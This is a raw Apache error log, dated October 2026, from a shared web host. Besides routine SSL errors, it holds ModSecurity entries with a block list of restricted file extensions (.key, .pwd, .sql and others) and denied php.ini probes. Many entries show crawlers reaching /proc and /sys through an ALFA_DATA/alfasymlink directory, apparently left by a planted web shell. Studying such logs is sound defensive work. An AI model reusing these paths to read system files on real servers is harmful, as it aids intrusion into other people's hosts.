[Tue Oct 27 04:59:07.714591 2026] [security2:error] [pid 3201648:tid 3201648] [client 16.216.88.143:26624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "auBn2yRZUkZtsPsHe3i2QwAAAA4"]
[Tue Oct 27 04:59:07.715011 2026] [security2:error] [pid 3201648:tid 3201648] [client 16.216.88.143:26624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "auBn2yRZUkZtsPsHe3i2QwAAAA4"]
[Tue Oct 27 04:59:07.715347 2026] [security2:error] [pid 3201648:tid 3201648] [client 16.216.88.143:26624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "auBn2yRZUkZtsPsHe3i2QwAAAA4"]
[Tue Oct 27 04:59:08.633616 2026] [authz_core:error] [pid 3201655:tid 3201655] [client 45.148.10.40:2710] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:59:09.918744 2026] [authz_core:error] [pid 3201655:tid 3201655] [client 45.148.10.40:2710] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:59:10.821458 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 45.148.10.40:21634] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:59:12.072827 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 45.148.10.40:21634] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:59:19.713294 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.223.115.10:9948] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:59:27.978241 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 50.19.102.70:27808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:59:40.375670 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.6.232.201:63387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:59:47.854274 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.234.197.175:47645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:03.782807 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.215.235.20:6569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:19.874620 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.145.82.217:53705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:23.891062 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.6.97.88:64480] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:39.803201 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 44.215.61.66:4418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:47.738471 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.231.193.38:3104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:00:51.753188 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.93.211.16:43552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:00.468344 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 18.211.39.188:5826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/rescan
[Tue Oct 27 05:01:04.038538 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.197.178.107:47598] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:07.861062 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 98.84.200.43:59910] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:11.666793 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.211.148.239:5178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:34.810315 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 184.73.167.217:7031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:43.716744 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.205.74.196:55876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:01:57.940083 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 107.20.25.33:24555] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:00.115642 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.206.65.8:63292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:07.381933 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 85.208.96.200:57474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:07.683702 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.203.152.231:65016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:15.866922 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.219.81.66:8762] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:19.793894 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.206.249.188:50236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:35.703490 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.212.86.97:4867] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:43.694664 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 23.23.103.31:7490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/xmit_fifo_size
[Tue Oct 27 05:02:47.769739 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.209.174.110:43998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:51.768817 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 23.22.59.87:30559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:02:59.758568 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.84.147.79:11352] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:08.075220 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 23.22.59.87:24342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:11.728867 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.225.181.161:12295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:15.970294 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 23.20.178.124:62987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:22.140261 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 185.191.171.10:47786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/aliases
[Tue Oct 27 05:03:27.894142 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.73.6.26:31250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:36.502397 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.193.102.198:18746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:39.815178 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.206.65.8:34143] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:40.311525 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 144.76.19.24:23540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/pagemap
[Tue Oct 27 05:03:42.231879 2026] [authz_core:error] [pid 3201645:tid 3201645] [client 85.217.149.20:47570] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:03:43.770910 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 52.200.142.199:46376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:51.751825 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.222.85.38:13959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:03:59.700328 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.177.42:4682] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:04.696277 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.12:39372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/objects
[Tue Oct 27 05:04:11.874910 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 50.19.221.48:28810] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:15.856990 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 54.166.104.83:41311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:27.812499 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.235.125.129:18954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:31.709372 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.220.148.166:7332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:40.158676 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.212.145.46:43492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:04:41.077522 2026] [security2:error] [pid 3201655:tid 3201655] [client 43.166.245.120:39790] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBpKWBUeABT7S80KTVFYwAAABY"]
[Tue Oct 27 05:04:41.080002 2026] [authz_core:error] [pid 3201655:tid 3201655] [client 43.166.245.120:39790] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:04:55.717806 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 3.211.105.134:46750] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:05:06.572533 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 85.208.96.203:42008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/slab_size
[Tue Oct 27 05:05:12.153472 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 185.191.171.4:11458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:05:12.736533 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 23.21.250.48:26591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:05:19.682912 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.227.234.246:50941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:05:52.106521 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 185.191.171.18:30498] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:03.780814 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 54.221.203.24:31969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/subsystem/rescan
[Tue Oct 27 05:06:04.115963 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 45.138.12.16:34362] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:06:10.998986 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 34.121.160.64:57312] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:06:11.861165 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 3.221.156.96:63769] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:19.641919 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 52.3.102.51:17813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:27.606812 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 185.191.171.17:57692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:27.760391 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 34.204.150.196:1962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:35.782327 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 54.84.169.196:5837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/crash_notes_size
[Tue Oct 27 05:06:43.713705 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.144.185.255:6325] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:47.932488 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.214.186.220:43713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:06:52.900453 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 185.191.171.1:51122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/usersize
[Tue Oct 27 05:06:55.908512 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.216.172.204:49893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:07:11.818513 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.44.174.136:58402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:07:15.765351 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 100.29.160.53:30704] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:07:20.379545 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.91.122.193:26060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:07:31.712131 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.203.237.170:2846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:07:43.878997 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 35.169.119.108:14000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:08:02.402972 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 185.191.171.1:50964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/shrink
[Tue Oct 27 05:08:07.871371 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.195.145.102:40616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:08:11.546038 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 44.215.231.15:34966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ac/unbind
[Tue Oct 27 05:08:15.574982 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 54.197.102.71:45796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/0000:00:02.0/resource0
[Tue Oct 27 05:08:19.620921 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 52.1.106.130:36843] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/0000:00:02.0/rescan
[Tue Oct 27 05:08:39.359328 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.0.218.219:14652] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:08:43.455625 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.71.46.142:57061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:08:55.248485 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 54.88.84.219:30204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:08:59.172236 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 100.28.204.82:50059] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:03.206211 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.197.28.78:9543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:07.195654 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.235.172.96:2391] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:07.219839 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 185.191.171.14:38254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/cpu_slabs
[Tue Oct 27 05:09:15.688507 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 85.208.96.193:11532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:15.725125 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 85.208.96.193:11534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:16.565472 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 100.28.44.58:6763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:19.137358 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 34.206.212.24:18574] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:27.012476 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 54.167.32.123:17032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory20/node0/cpu0/crash_notes
[Tue Oct 27 05:09:31.087512 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.218.6.93:47335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:35.157760 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 44.208.223.68:50436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/subsystem/uevent
[Tue Oct 27 05:09:37.801540 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 185.191.171.15:47716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:42.941790 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.45.77.169:16378] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:09:50.935434 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 54.89.90.224:17596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:10:14.571225 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 3.223.134.5:7247] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:10:22.609719 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 52.205.141.124:37666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory6/node0/cpu1/crash_notes
[Tue Oct 27 05:10:26.698449 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.206.249.188:11291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:10:38.480675 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 34.231.45.47:43492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/driver/uevent
[Tue Oct 27 05:10:39.080783 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 85.208.96.195:36370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/cpu_partial
[Tue Oct 27 05:10:42.305373 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.206.47.187:44996] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:10:46.243798 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.212.232.231:29987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:10:50.262604 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 44.193.115.232:46626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:06.411452 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 34.205.170.13:44483] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event4/subsystem/input3/subsystem/input5/device/driver/module/drivers/platform:pcspkr/module/uevent
[Tue Oct 27 05:11:10.223345 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 98.82.40.168:64832] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:22.197570 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.145.82.217:36948] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:30.180325 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.215.235.20:29137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:34.190266 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.207.207.36:38706] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:42.261060 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.208.146.193:31063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:11:42.697225 2026] [authz_core:error] [pid 3201648:tid 3201648] [client 79.137.65.42:52548] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:11:50.170487 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.232.82.72:51734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:02.156641 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 3.214.176.44:23059] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:04.421961 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.194:63608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/min_partial
[Tue Oct 27 05:12:06.243318 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.235.125.129:10387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:30.196844 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.215.77.19:33543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:34.181268 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.217.82.254:62760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:38.167704 2026] [ssl:error] [pid 3201646:tid 3201646] (95)Operation not supported: [client 3.81.253.213:46589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:12:42.342839 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.205.91.101:5676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:02.243436 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 107.20.255.194:8686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:14.699509 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.200.93.170:18127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:22.164709 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 100.29.107.38:59496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:34.241541 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.215.59.93:39525] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:38.156350 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.205.113.104:9818] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:46.280901 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.89.176.255:23694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:47.165954 2026] [security2:error] [pid 3201640:tid 3201640] [client 43.157.98.187:43470] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBrS-JWPhOgLfVxy6aSLgAAAAI"]
[Tue Oct 27 05:13:47.167448 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 43.157.98.187:43470] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:13:50.241860 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 100.28.57.133:29732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:13:54.162974 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 3.212.86.97:46793] AH02013: coalesce failed to read from data bucket
